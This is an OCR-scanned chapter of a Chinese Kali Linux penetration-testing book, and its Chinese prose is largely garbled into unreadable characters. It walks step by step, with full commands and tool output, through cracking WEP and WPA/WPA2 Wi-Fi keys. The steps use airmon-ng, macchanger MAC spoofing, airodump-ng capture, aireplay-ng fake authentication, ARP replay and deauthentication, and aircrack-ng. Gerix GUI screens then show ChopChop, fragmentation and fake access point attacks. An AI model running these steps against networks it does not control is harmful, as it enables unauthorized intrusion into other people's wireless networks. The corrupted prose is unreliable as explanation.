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9.1.1 #EfR WEP jinZ5H ok MLk

Wired Equivalent Privacy 5t WEP (52855 AUIN%ED PSR TEPR 6 15 8% [0 0 2 A i ) B0 k47 in 2%
17730, FHCAGTIEAEH P i sR N TCZR N4 . AN B M2 K LAk WEP 47 LA &, Rk
£ 2003 4% Wi-Fi Protected Access (WPA) ik, XAE 2004 4F 3 5e#) IEEE 802.11i A5 (XFRN
WPA2) FTEAR . AT SRR WEP B (1) T2k N 45

18 AirCrack filé il (i Fl WEP I35 (12 2% o HLARERAE DRI R Bk

(1) ffiH airmon-ng iy & A FE AT R H I TCLLMN S O . PAT A2 W Frs:

kali:~# airmon-ng

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

R BN, AT RGP DML M . Wt 45 R Interface 1, W] DL 341 &
R Je 24 114 wilan0.

(2) &g wlan0 £ 11 MAC Hilik. 2y MAC HuliEbR iR EALFTE RIS, E2 ML MAC Hikk

A DA B SE ) MAC Hihik. 7R MAC bbb /T, FFZF iz $UTm 20 FRTR:

root@kali:~# airmon-ng stop wlan0 #{=1E wlan0 ##0

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(monitor mode disabled)

B

root@Kkali:~# ifconfig wlanO down

AT LA A2 J5 0 wilan0 #2211 452 1 SER i Al DME S MAC JBME T, $AT & 40 S s :

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0

Permanent MAC: 00:¢1:40:76:05:6¢ (unknown)

Current MAC: 00:¢1:40:76:05:6¢ (unknown)

New MAC: 00:11:22:33:44:55 (Cimsys Inc)

iy PR B s 1 wlan0 # R AR MAC Hidik, 341589 MAC AT 1) MAC Higik. #JLLE 3]
wlanl # 1 ) MAC Hiuk B2 4% 1504

(3) FEH)ash wlan0, AT A2 N Fros:

root@kali:~# airmon-ng start wlanO

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e

PID Name

2567 NetworkManager

2716dhclient

15609 wpa_supplicant

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]
(monitor mode enabled on mon0)

I REERR T RLEM R wlan0 S KIKshZEAL, Flin, 417 RAM LN <878 Ralink
RT2870/3070; %)@Ez:ﬂjj rt2800usb, JF R TR R A T, S 2% 452 1105 monO.

A BHEAEH airmon-ng start wlan0 iy 48 FH L4 R B, AR H B SIOCSIFFLAGS: Operation not
possible due to RF-kill #5i%. XsZFEN Linux A — N REKIll, ZHAEA T T8 ESBAMHTT
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v (I WIFL, Buletooth) HZEIFCH]. I E X LLR &N, RE-Kill AN BER HBITIT, %
TR, B Al AT rikill list fr 2 BB TG W&, W Fis:

root@kali:~# rfkill list

0: ideapad_wlan: Wireless LAN

Soft blocked: yes

Hard blocked: no

1: phyO: Wireless LAN

Soft blocked: yes

Hard blocked: no

AR AFRIN RS, RRPRR&ENEREL 5. HAnhdEdfse x5, 5105 HENES.
wiE A &, BT F Psi fn4

root@Kkali:~# rfkill unblock all

PATUA B & e, BAEE S DL Eard 8RR, fERRAT DA OC I 145

(4) A1 airodump & 52 GBI FTAT AT T TC 26N 2% o AT A 240 T s :

root@kali:~# airodump-ng wlan0
CH 2][ Elapsed: 1 min ][ 2014-05-15 17:21

BSSID PWR Beacons #Data,#/sCH MB ENC CIPHER AUTH ESSID
14:E6:E4:AC:FB:20-30 40 13 0 1 5de. WEP WEP Test
8C:21:0A:44:09:F8 -41 24 2 0 6 54e. WPA2 CCMP PSK yztxt
14:E6:E4:84:23:7A -44 17 1 0 1 54e. WPA2 CCMP  PSK yztxt
C8:64:C7:2F:Al:34 -64 19 0 0 1 54 . OPN CMCC
1C:FA:68:D7:11:8A-64 37 0 0 1 54e. WPA2 CCMP  PSK TP-LI
EA:64:C7:2F:A1:34 -64 18 0 0 1 54 . WPA2 CCMP  MGT CMCC-
DA:64:C7:2F:Al1:34-64 18 0 0 1 54. OPN CMCC-
4A:46:08:C3:99:DC-66 7 0 0 1 54. OPN CMCC-
E0:05:C5:E7:68:84 -67 17 0 0 1 54. WPA2 CCMP PSK TP-LI
5A:46:08:C3:99:DC -67 10 0 0 1 54. WPA2 CCMP  MGT CMCC-
CC:34:29:5A:8E:B0-68 26 0 0 6 b54e. WPA2 CCMP PSK TP-LI
5A:46:08:C3:99:D9 -68 9 0 0 11 54. WPA2 CCMP  MGT CMCC-
5A:46:08:C3:99:D3 -68 16 0 0 6 54. WPA2 CCMP  MGT <leng
38:46:08:C3:99:D9 -68 9 0 0 11 54. OPN CMCC
9C:21:6A:E8:89:E0 -68 27 0 0 11 b54e. WPA2 CCMP PSK TP-LI
EA:64:C7:2F:A0:FF-68 7 0 0 11 54. WPA2 CCMP  MGT CMCC-

DA Ef RS SR T IR PTG v B TE e M 4% . AR B P AR B 1 o AR B AR, %R
Ctrl+C #fF IE 2.

M PG B ERIGIRZSE. NN AT FrR:

Q BSSID: N4 IP Hidlk.
PWR: M2 15 57K
Beacons: JoZk & HIE S T .
#mm-ﬁﬁ%ﬂ%ﬁ%ﬂﬁmﬁ%,@%ﬁﬁﬂé

i 2 10 Fheh N AR AR 2 I E

CH:EL?(Mmem¢ﬁﬂ)o
MB: L&AT LFRIREZ ., W MB=11, ‘&2 802.11b; WIE MB=22, /& 802.11b+; U
R mH 802.11g. JEIHMI A (AT 54 ZJ5) RECREI S,

I N Wy Iy Wy
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a
d

ENC: RN ERA R, OPN KRTLN%E . WEP £/~ WEP 50 ¥ 5 WPA/WPA2, WEP
(BEANS) RHESDSEhZE WEP., LRI TKIP 8 CCMP, A4t 2 WPA/WPA2,
CIPHER: 3| hn# 5y, CCMP. WRAAP. TKIP. WEP. WEP104 F1{j—/~, #L7fok
U (R—5E) , TKIP 5 WPA £5& 1], CCMP 5 WPA2 Z5& 8. B3R 51ME KT 0,
7R WEP40. ArdEfEAL R, 25l 0-3 & 40bit, 104bit 1% 0.

AUTH: HRAER . % ARE MGT (WPA/MWPA2 i IS (IE RS 2%, I3 A5
VLMY 802.1x, radius. eap %5) , SKA (WEP [3:=24) , PSK (WPA/WPA2 [Tt %8
5% OPN (WEP JFi=D) .

ESSID: $8AiE I SSID 5. Q5 i I K&k () SSID i, & nl LLAZS . X FHME ML R, airodump-ng
R & M proberesponses F1 associationrequests FH3REL SSID.

STATION: 7 'uiift] MAC Huhl, BLHEE b AAE B R e RE B & P . & 7 i
HiER L, E BSSID FE7~ “notassociated” .

Rate: FKfEHi%.

Lost: 7Eid2: 10 FPEh N BRIEIE 4, BT FHISRN. B ERE NE sk s 5,
FEANEE BT R EAE — T Y5 B, AERIERE AN W 87 515 R — AN R 8 S
— P REAE E LA

Frames: %% vy A2k (1 £ HE 73 2 20

Probe: H&%F Ui EXRIF ESSID. W% Fom i B =ANELk, HRE H T L, Wi
INEIXHL.

(5) 1#F airodump-ng 3515 € BSSID fISC1E . AT a2 80 B s
airodump-ng g 4 FH (BB T B :

a
a
a

-c: fREIEFEIHE
-w: FRE XA, TR R B U
-bssid: f& € B i) BSSID.

TP K Bssid 9, 14:E6:E4: AC:FB:20 A 4kt i 11579 By Fl e $0dT i < W B e
root@kali:~# airodump-ng —c 1 —w wirelessattack --bssid 14:E6:E4:AC:FB:20 mon0
CH 1 ][ Elapsed: 9 mins ][ 2014-05-15 17:31

BSSID PWR RXQ Beacons #Data,#/s CH MB ENC CIPHER AUTH ESSID
14:E6:E4:AC:FB:20 -37 O 5175 216 0 1 b54e. WEP WEP OPN Test
BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:AC:FB:20 00:11:22:33:44:55 0 0-1 117 88836
14:E6:E4:AC:FB:20 18:DC:56:F0:62:AF -24 54 -54e 654 312
14:E6:E4:AC:FB:20 08:10:77:0A:53:43 -36 0-1 6 9832

M H 45 S AT DU 21 ESSID S Test T2k i #s ffi#Data — BL/ER M, Fon A &K/ i IE 5 TR K
AR, L Ea S WAT R G, 24K — %N wirelessattack-01.ivs ) ST, 11 A 22
wirelessattack.ivs. X &[N airodump-ng T2y 7 078 5 AR, A R ORA7 ST 42 07 4 1
T, TRMZ 701 XFENFS, CISEHE, EITH ZkBGhERN, & [FFE R4 wirelessattack fr
TEHE, R4 N wirelessattack-02.ivs SCAF

(6) FTHF—AFrrI&us [, 81T aireplay a7 . aireplay 4 572 20 Bk
aireplay-ng -1 0 -a [BSSID] -h [our Chosen MAC address] -e [ESSID] [Interface]
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aireplay-ng -dauth 1 -a [BSSID] -c [our Chosen MAC address] [Interface]

Ja 8l aireplay, #7421 FTR:

root@kali:~# aireplay-ng -1 0 -a 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 -e Test mon0

The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
ifconfig monO hw ether 00:11:22:33:44:55

17:25:17 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1

17:25:17 Sending Authentication Request (Open System) [ACK]

17:25:17 Switching to shared key authentication

17:25:19 Sending Authentication Request (Shared Key) [ACK]

17:25:19 Switching to shared key authentication

17:25:21 Sending Authentication Request (Shared Key) [ACK]

17:25:21 Switching to shared key authentication

17:25:23 Sending Authentication Request (Shared Key) [ACK]

17:25:23 Switching to shared key authentication

17:25:25 Sending Authentication Request (Shared Key) [ACK]

17:25:25 Switching to shared key authentication

17:25:27 Sending Authentication Request (Shared Key) [ACK]

17:25:27 Switching to shared key authentication

17:25:29 Sending Authentication Request (Shared Key) [ACK]

17:25:29 Switching to shared key authentication

(7) fiH] aireplay- A0 —Lifi 25 o it e, LLE T REW ok BIA o 5% X T s

aireplay-ng 3 -b [BSSID] -h [Our chosen MAC address] [Interface]

PAT A0 N s

root@kali:~# aireplay-ng -3 -b 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 mon0

The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
ifconfig monO hw ether 00:11:22:33:44:55

17:26:54 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1

Saving ARP requests in replay_arp-0515-172654.cap

You should also start airodump-ng to capture replies.

Notice: got a deauth/disassoc packet. Is the source MAC associated ?

Read 1259 packets (got 1 ARP requests and 189 ACKSs), sent 198 packets...(499 pps

Read 1547 packets (got 1 ARP requests and 235 ACKSs), sent 248 packets...(499 pps

Read 1843 packets (got 1 ARP requests and 285 ACKSs), sent 298 packets...(499 pps

Read 2150 packets (got 1 ARP requests and 333 ACKSs), sent 348 packets...(499 pps

Read 2446 packets (got 1 ARP requests and 381 ACKSs), sent 398 packets...(499 pps

Read 2753 packets (got 1 ARP requests and 430 ACKSs), sent 449 packets...(500 pps

Read 3058 packets (got 1 ARP requests and 476 ACKSs), sent 499 packets...(500 pps

Read 3367 packets (got 1 ARP requests and 525 ACKSs), sent 548 packets...(499 pps

Read 3687 packets (got 1 ARP requests and 576 ACKSs), sent 598 packets...(499 pps

Read 4001 packets (got 1 ARP requests and 626 ACKSs), sent 649 packets...(500 pps

Read 4312 packets (got 1 ARP requests and 674 ACKSs), sent 699 packets...(500 pps

Read 4622 packets (got 1 ARP requests and 719 ACKSs), sent 749 packets...(500 pps

Read 4929 packets (got 1 ARP requests and 768 ACKSs), sent 798 packets...(499 pps

Read 5239 packets (got 1 ARP requests and 817 ACKSs), sent 848 packets...(499 pps

B B4E St 21 H ARP Request 177 SOREZHL ARP 15 3K SC i 72, i [A1 %) airodump-ng Fi
F, " LR R Test [1) Frames £ [E0CF7E I . 7RI LRI SOE R T — 2 &5,
WA IVSX (IR B 2 75 LA Ry, winT AFGABME, & A RER I S R A S Gk S, R e 2 5%
LK.
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(8) f# /] Aircrack B . AT A2 U0 T Fios:
root@Kkali:~# aircrack-ng -b 14:E6:E4:AC:FB:20 wirelessattack-01.cap
Opening wirelessattack-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 7197 ivs.
Aircrack-ng 1.2 betal
[00:00:54] Tested 15761 keys (got 10002 1Vs)

KB depth  byte(vote)
0/ 4 61(17408) BA(16384) 9B(15616) E1(15616) 28(15104) 77(14592) 10(14336)
1/ 5 62(15360) 66(14336) 3C(14080) 76(14080) 5E(13568) 23(13312) 25(13312)
2/ 13 63(14336) 11(14336) 7A(13824) AA(13824) A9(13568) 5D(13568) 7E(13312)
3/ 7 EF(14336) 38(14080) 3E(14080) 8A(14080) D9(14080) DE(14080) 6E(13824)
9/10 65(13824) 36(13568) 42(13568) 8B(13568) BF(13568) 29(13312) 7F(13312)

KEY FOUND! [ 61:62:63:64:65 ] (ASCII: abcde )

Decrypted correctly: 100%

M H 45 BT LLE B KEY FOUND, FRZM D443, A abedes

A W N BEFEL O

0.1.2 mHiR WPA/WPA2 Fo2% /4%

WPA 44 /3 Wi-Fi Protected Access, 5 WPA Fll WPA2 PIAR#E. B/ — PR 0 2k i i X1 2% 42 4=
IS T )5 L WPAWPAZ JINE ) To 2k s, FLBLa Ml AP IR e Wt 78 4 — FE . AN 2,
FEAF A airodump-ng BEATTRERER I ST I, 2>3E28 4 WPA CCMP PSK. 5 Mffiff] aireplay-ng 1T X7
J& > FIREER AR WPA 48 T 508 0. % 527 s FERBOAEI 5 SR N2 A = B s R IHPRE A 2 B WPA/WPA2
TCE A5 1K) JT e

i aircrack-ng A fi WPA/WPA2 JC2& R 2% 1) B ARERAE A5 R W R Fia:

(D HELRLMAE . PAT LW FR:

kali:~# airmon-ng

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(2) fFIETCR M8 1. PAT a2 0 R Fis:

root@kali:~# airmon-ng stop wlan0 #Z1E wlan0 ##E0

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(monitor mode disabled)
(3) BMILN K MAC itk $ATa 401 F B

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0

Permanent MAC: 00:¢1:40:76:05:6¢ (unknown)

Current  MAC: 00:¢c1:40:76:05:6¢ (unknown)

New MAC: 00:11:22:33:44:55 (Cimsys Inc)

(4) JaH LML 0. AT a2 W FR:

root@kali:~# airmon-ng start wlanO

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e

PID Name

2567 NetworkManager
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2716dhclient
15609 wpa_supplicant
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy1]
(monitor mode enabled on mon0)
(5) HIREIEE . AT A 40 F s
root@kali:~# airodump-ng -c 1 -w abc --bssid 14:E6:E4:AC:FB:20 mon0O
CH 1 ][ Elapsed: 3 mins ][ 2014-05-15 17:53 ][ WPA handshake: 14:E6:E4:AC:FB:20

BSSID PWR RXQ Beacons #Data,#/s CH MB ENC CIPHER AUTH ESSID

14:E6:E4:AC:FB:20 -47 O 1979 5466 24 1 b54e. WPA2 CCMP  PSK Test

BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:AC:FB:20 18:DC:56:F0:62:AF -127 Oe-0e 0 481
14:E6:E4:AC:FB:20 08:10:77:0A:53:43 -32 0-1 40 5035
14:E6:E4:AC:FB:20 08:10:77:0A:53:43 -30 0-1 46 5039

(6) XTIk h 2% Test 4T Deauth Xt o AT A A0 F flizs:
root@kali:~# aireplay-ng --deauth 1 -a 14:E6:E4:AC:FB:20 -c 00:11:22:33:44:55 mon0
17:50:27 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
17:50:30 Sending 64 directed DeAuth. STMAC: [00:11:22:33:44:55] [12]|59 ACKSs]

(7D fRED . PATaS N Fis:
root@Kali:~# aircrack-ng -w ./dic/wordlist wirelessattack-01.cap
Opening wirelessattack-01.cap
Read 2776 packets.

# BSSID ESSID Encryption
1 14:E6:E4:AC:FB:20 Test WPA (1 handshake)
Choosing first network as target.
Opening abc-01.cap
Reading packets, please wait...
Aircrack-ng 1.2 betal
[00:04:50] 1 keys tested (500.88 k/s)
KEY FOUND! [ daxueba ]
Master Key : B2 51 6F 21 66 D5 19 8F 40 F8 9E 97 41 EO 85 81
51 69 8F 1C A0 CA A8 5B 59 58 BD F2 06 34 8B F2
Transient Key :AA 7B 3094 92 EC CE 63 EB FO 28 84 00 8A 74 0A
FF 6A 00 15 B7 18 01 47 A0 BF 78 9D 9C 23 8B 8E
0B 7C 73 52 DF 35 CB C9 30 22 9E FB 94 A2 9B 1A
F2 41 02 66 A1 16 5B 79 74 FB OB ED 97 E2 94 12
EAPOL HMAC :88 FC 8B 0941 7C 67 8C 75 61 F7 45 CB 88 F6 BF
AN A B T DL B TC 2 28 IR 3 L& Il £ KEY FOUND 275 (045 Ul W] LA S5

RO AR L, O daxueba, B fRHE A 500.88 kis.

9.2 Gerix Wifi Cracker i f# Fo 4k ™ 4%

Gerix Wifi Cracker & 5 —A™ aircrack &I P ST TG M 4 i i T E o ARS8 % T Lk
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T 2% S AR AR 5

9.2.1 Gerix #EfiZ WEP NZ=8) Tk MR

FERTTA4E T F5h8E ) Aircrack-ng B i WEP F1 WPA/WPA2 NI TN % . 97 8, A4k

R Gerix TR A IBHTC LM 4% o A8 Gerix Bty WEP I TG 2 M 4% o BAREAE D IR an T Br

7N

(1 F# Gerix AL AT A2 W T PR:

root@Kkali:~# wget https://bitbucket.org/SKin36/gerix-wifi-cracker-pyqt4/downloads/gerix-wifi-cracker-master.rar
--2014-05-13 09:50:38--
https://bitbucket.org/SKin36/gerix-wifi-cracker-pyqt4/downloads/gerix-wifi-cracker-master.rar

IEEfRHREM bitbucket.org (bitbucket.org)... 131.103.20.167, 131.103.20.168

IEFEEHE bitbucket.org (bitbucket.org)|131.103.20.167|:443... BiE#E.

%M HTTP iFK, EAFFER... 302 FOUND

L & : http://cdn.bitbucket.org/Skin36/gerix-wifi-cracker-pyqt4/downloads/gerix-wifi-cracker-master.rar [ERFE 2 #iHI
URL]

--2014-05-13 09:50:40--
http://cdn.bitbucket.org/Skin36/gerix-wifi-cracker-pyqt4/downloads/gerix-wifi-cracker-master.rar

IEERHEH cdn.bitbucket.org (cdn.bitbucket.org)... 54.230.65.88, 216.137.55.19, 54.230.67.250, ...
IE#E&E$E cdn.bitbucket.org (cdn.bitbucket.org)|54.230.65.88|:80... Ei&E#E.

B4&H HTTP ik, EAEFMFERK... 200 OK

K E: 87525 (85K) [binary/octet-stream)]

EEHEREZE: “gerix-wifi-cracker-master.rar”

100%[ >] 87,525 177K/s FB} 0.5s

2014-05-13 09:50:41 (177 KB/s) - Bf&TE “gerix-wifi-cracker-master.rar” [87525/87525])

Myt 45 5 T LLE #) gerix-wifi-cracker-master.rar SO E R E e, HHRAFEMLRTH R T

(2) fRIE Gerix HfFEL. AT fr 4 F -

root@Kkali:~# unrar x gerix-wifi-cracker-master.rar

UNRAR 4.10 freeware Copyright (c) 1993-2012 Alexander Roshal

Extracting from gerix-wifi-cracker-master.rar

Creating gerix-wifi-cracker-master OK

Extracting gerix-wifi-cracker-master/CHANGELOG OK

Extracting gerix-wifi-cracker-master/gerix.png OK

Extracting gerix-wifi-cracker-master/gerix.py OK

Extracting gerix-wifi-cracker-master/gerix.ui OK

Extracting gerix-wifi-cracker-master/gerix.ui.h OK

Extracting gerix-wifi-cracker-master/gerix_config.py OK

Extracting gerix-wifi-cracker-master/gerix_config.pyc OK

Extracting gerix-wifi-cracker-master/gerix_gui.py OK

Extracting gerix-wifi-cracker-master/gerix_gui.pyc OK

Extracting gerix-wifi-cracker-master/gerix_wifi_cracker.png OK

Extracting gerix-wifi-cracker-master/Makefile OK

Extracting gerix-wifi-cracker-master/README OK

Extracting gerix-wifi-cracker-master/README-DEV OK

All OK

DA B gy AR SRR TR Gerix BRI RE . MIZd RE b T AE S, A BT SO A OR A7 AL
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(3) N7 JjHE R, K s ) gerix-wifi-cracker-masger H 54443 Linux £ 4:4:— 1) H 3% /usr/share
Hro PAT AT 0N s
root@Kkali:~# mv gerix-wifi-cracker-master /usr/share/gerix-wifi-cracker
AT LA _Efir & JE A AT S S .
(4) V)3 Gerix FrERINLE, JFE3) Gerix LH . $AT a2 W FFR:

root@kali:~# cd /usr/share/gerix-wifi-cracker/
root@kali'/usr/share/gerix -wifi-cracker# python gerix.py

AT UL b JE, KRR 9.1 B r S .

Gerix wifi cracker - (O

Welcome | Configuration WEP WPA Fake AP Cracking Database Credits

~ 7
e B

Gerix racker

Hello and Welcome!

Gerix Wifi Cracker is a GUI that can help you to work in Wireless 802.11 Penetration Test.
Created by Emanuele “emgent” Gentili and Emanuele “crossbower ™ Acrifrom Gerix.IT com
enJoy!

09:51:41 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]

Gerix T .2auas.

K 9.1 Gerix Hah5H

(5) MIZAT AT LAIE B Gerix #da FE Cindosh. seht, A RARDIHE] Configuration iETi+ I,
B R 9.2 B it A
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Gerix wifi cracker m

Welcome | Configuration | WEP [ WPA [ Fake AP [ Cracking [ Database [ Credits l

Directory for session files (logs, .cap, ..}

[.l’roo‘tr‘.gerixfwwﬁfcracker! ] l Clean old session files

Select the interface:

| Interfece | MAC | Chipset | Driver | Mode ‘

l|w|.anl |00:cl:40:7... |Ra|.ink RT28.. |rt2800usb ‘Managed |

l Reload wireless interfaces l l Set random MAC address ] l Enable/Disable Monitor Mode

Select the target network:

Essid Bssid | Channel Signal | Enc

Channel: |all channel.s| % | Seconds: [10 H l Rescan networks

(] [T

14:02:37 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]

Gerix T2,

(6) iz
i Enable/Disable Mointor Mode

ZEA ] S &P 1 wland,
4, RN UE 9.3 B B A .

www.daxueba.net
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Gerix wifi cracker

Welcome | Configuration | WEP [ WPA l Fake AP l Cracking [ Database [ Credtsl

Directory for session files (logs, .cap, ...):

[.r‘roo‘tr‘.gerix—wifi—cracker!

] l Clean old session files

Select the interface:

| Interfece | MAC Chipset Driver | Meode
l|wlanl 00:c1:40:7... Ralink RT28... rt2800usb ... Managed
2| 00:C1:40:7... Ralink RT28... rt2800usb ...  Monitor

l Reload wireless interfaces l l Set random MAC address l I Enable/Disable Monitor Mode

Select the target network:

Essid Bssid |

Channel

Signal |

Enc

Channel: | all :hanneLs| < | Seconds: [10 |%l l

Rescan networks

)

14:11:45 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
14:11:56 - Monitor on: wlanl [Success]

(7) Miz5tH

Gerixir

security solutions

network T i Rescan networks %4, s AHRIANE 9.4 FiiR.

www.daxueba.net

£ Select the target
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Gerix wifi cracker I-E-I-E-I-u-

Welcome | Configuration | WEP IWPA [ Fake AP [ Cracking [ Database [ Credits |

Directory for session files (logs, .cap, ..):

Iroot/.gerix-wifi-cracker/ l [ Clean old session files

Select the interface:

Interfece MAC Chipset Driver Mode

1 wlanl 00:c1:40:7... Ralink RT2&... rt2800usb ... 'Managed

EMOO:CLZLO:?‘“ Ralink RT28... rt2800usb ... Monitor

[ Reload wireless interfaces l [ Set random MAC address l [ Enable/Disable Monitor Mode

Select the target network:

Essid Bssid Channel Signal Enc

12 yztxty 8C:21:0A4.. 6 -38 WPA2WPA..

MM:E&M:A”. 1 -33 WEP WEP
Channel: all channels 2 | Seconds: [lO |%] l Rescan networks

12:52:55 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
12:53:13 - Monitor on: wlanl [Success]
12:53:31 - rescan networks [Success]

Gerix .o,
Blo4 HRBIMLA L

(8) WA UG B B (0 T % . A B e Bt WEP T 0 8025 , i B
1T Essid hy Test HITEZEM 4% . AR5 bR D)4 21 WEP JE TR, & 9.5 Frw.




Kali Linux %4 5iE 4R (NEB%kE) ——daxueba.net WA T &

* 205 -

[1TP

Gerix wifi cracker

|We|.come | Configuration |WEP | WPA | Fake AP | Cracking ‘ Database ‘ Credits

Welcome in WEP Attacks Control Panel

General functionalities
WEP Attacks (no-client)
WEP Attacks (with clients)

WEP Attack (with clients, in Access Point and Ad-Hoc mode)

Caffe-Latte attack in access peoint mode

[ Start Caffe-Latte attack

Hirte attack in access point mode

[ Start Hirte attack

Hirte attack in ad-hoc mode

[ Start Hirte attack

14:11:45 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
14:11:56 - Monitor on: wlanl [Success]

Gerix It aame.

9.5 WEP &

Gerix wifi cracker

|Welcome | Configuration |WEP | WPA | Fake AP | Cracking | Database | Credits

Welcome in WEP Attacks Control Panel

General functionalities

Functionalities

[ Start Sniffing and Logging
Tests
[ Performs a test of injection AP

WEP Attacks (no-client)
WEP Attacks (with clients)

WEP Attack (with clients, in Access Point and Ad-Hoc mode)

12:52:55 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
12:53:13 - Monitor on: wlanl [Success]

12:53:31 - rescan networks [Success]

Gerix .o,

(9) 5L HREL B WEP MHoo{Z B, ¥l General functionalities #i52, Y4 2~ 9.6 A7
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9.6 General functionalities 5i[fi

(10) %S 27~ T WEP Bt 771 . #E1% 5T B Functionalities T, #.4f Start Sniffing and logging
A, W ERE 9.7 s .

&

sniff-dump =-bssid 14.E6:E4:AC:FB:20 monO; read;

ENC  CIPHER AUTH E

WEF 1 OFN T

K 9.7 HizkICL AP

(1D ZAmER T 5 Test BRI L AP, SRG7ER 9.6 th#id: WEP Attacks (no-client) iy
, KRR 9.8 S .

-
Gerix wifi cracker

Welcome | Configuration

WEP | WPA | Fake AP | Cracking Database Credits

Welcome in WEP Attacks Control Panel

General functionalities

WEP Attacks (no-client)

ChopChop attack

Start false access point Authentication on victim
Start the ChopChop attack
Create the ARP packet to be injected on the victim access point

Inject the created packet on victim access point

Fragmentation attack

WEP Attacks (with clients)

Associate with AP using fake auth

WEP Attack (with clients, in Access Point and Ad-Hoc mode)

13:02:17 -
13:02:36 -
13:03:47 -
13:03:56 -

(12) #£iZ 5 ¥y Start false access point Authentication on victim #2241, %G 1F 4 Hi 4
Hi5f7 Start the ChopChop attack 41, /w1l 9.9 Fros i FL i .

database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
rescan networks [Success]

Sniffing and logging started with monQ
WEP: Iniection test with monQ

G e r’x IT SPC.lHrryir;fl.jﬂﬁrl.s
9.8 ChopChop attack

AW

5. RE

(13) ZF IR WA R . B3R ETEL AP I, K 22K Use this packet?. BRI y #5
THGHZREE, A4 8 cap 3, A 9.10 fios
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bash -c "aireplay-ng -4 -h 08:10:77:0A:53:43 mon'

=

bash -c "aireplay-ng -4 -h 00:C1:40:76:05:6C mon

ed in 176

99 HliHkIER F9.10 ik cap ST

(14) MAZFLTH ] LA 264 3 20 ) B0 L (R A7 21 replay_dec-0514-162307.cap SCA4FH, & AT
Wkt A . 2/ 9.10 1, mrggs Bl 9.11 Fron s iz

bash -c "aireplay-ng -4 -h 00:C1:40:76:05:6C mon

3 f df

.9.11 " chopchop attack 2

I PL BRI, IR PO R . RS 9.8 R TT Create the ARP packet to be
injected on the victim access point 1 Injcet the created packet on victim access point %4, ¥ 4T 9.12
Fr7s B S IH

output_FORGED monO; read; "

Kl9.12 REMHZEER
(15) 7EiZFm i Al /& 7 Use this packet?. 7E Use this packet? Jafi Ay, K KERITBEIE D . 4
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IR EIE AIAR] 2 G, By Cracking dEIK, 2 i 9.13 s K A .

|
Gerix wifi cracker

Welcome Configuration WEP WPA  Fake AP | Cracking Database Credits

Welcome in Cracking Control Panel
WEP cracking

WPA bruteforce cracking

WPA rainbow tables cracking

Rainbow Tables cracking

(Get rainbow tables from http:/fwww.renderlab.net/projects/\WPA-tables/ )
Add your rainbow tables file:

froot

Crack the password with coWPAtty and Rainbow Tables

14:11:45 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
14:11:56 - Monitor on: wlanl [Success]

14:25:11 - rescan networks [Success]

Gerix r.auz:

y solutions

K913 ek i
(16) 7£i% Fi#ads WEP cracking, K S sl 9.14 s BT If

T | |
Gerix wifi cracker

Welcome Configuration WEP WPA  Fake AP | Cracking Database Credits

Welcome in Cracking Control Panel
WEP cracking

Normal cracking

When you have enougth packets (>5000) you can try to decrypt the password.

Aircrack-ng - Decrypt WEP password

WPA bruteforce cracking
WPA rainbow tables cracking
13:12:36 - Cracking WEP with aircrack launched [remember to save database’s changes)

13:13:45 - Fragmentation attack: Inject arp packet with monQ
13:14:14 - Fragmentation attack: ARP packet created

13:14:34 - Cracking WEP with aircrack launched (remember to save database's changes) EI

Gerix r.oa=

y solutions

K 9.14 Bk WEP %14

(17) {EiZ5t .8 Aircrack-ng-Decrypt WEP password %41, #5474 9.15 A i A1 o



Kali Linux Z2&3&E#HFE (HNHTRD) ——daxueba.net JEUIT & + 209 «

aircrack-log.txt; read; "

K 9.15 WML R

(18) Mzt vl LB BB R WEP %5 285 3 BT (6] 08 3 43 28 #0. 4 PME A £ .4 20105 K,
3 TN, H¥4DN abede.

9.2.2 M Gerix 8 EBREIENS

18 Gerix LR AL LB AL MEIEA S (AP) . WEBE MRV &, AT LS 5 7 i)
XAV o AR, AT S AT @R e ST RN &, a] LA & 77 (i
RIE TR PE s AL S 4G . T THPRE A 4H LA WEP I F T 2R B, BB N .

i Gerix T E GRS . BAERVEPRUTFR:

(1) Ja3h Gerix T H. #ATam2UF fias:

root@kali:/usr/share/gerix-wifi-cracker# python gerix.py

(2) Y)#:3| Configuration 1L~ . 7Ei% 7L LLHEH, Hidi Enable/Disable Monitor Mode %
. U IR B Bh e, HdiSelect Target Network T [ Rescan Netoworks {2411 .

(3) fEHHBI AT A M 45, EFE WEP % 1M 4% o SAJ5 H. i Fake AP JE TR, R~ 9.16
Fr s IS TR -
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Gerix wifi cracker - | O

|We|.come | Configuration | WEP | WPA ||Fake AP\| Cracking ‘ Database ‘ Credits

Welcome in Fake Access Point Control Panel

Create Fake AP

Access point ESSID: N

[honeypot

Access point channel:

[12
Cryptography tags Key in Hex (Ex. azbbccddee) or Empty: |2
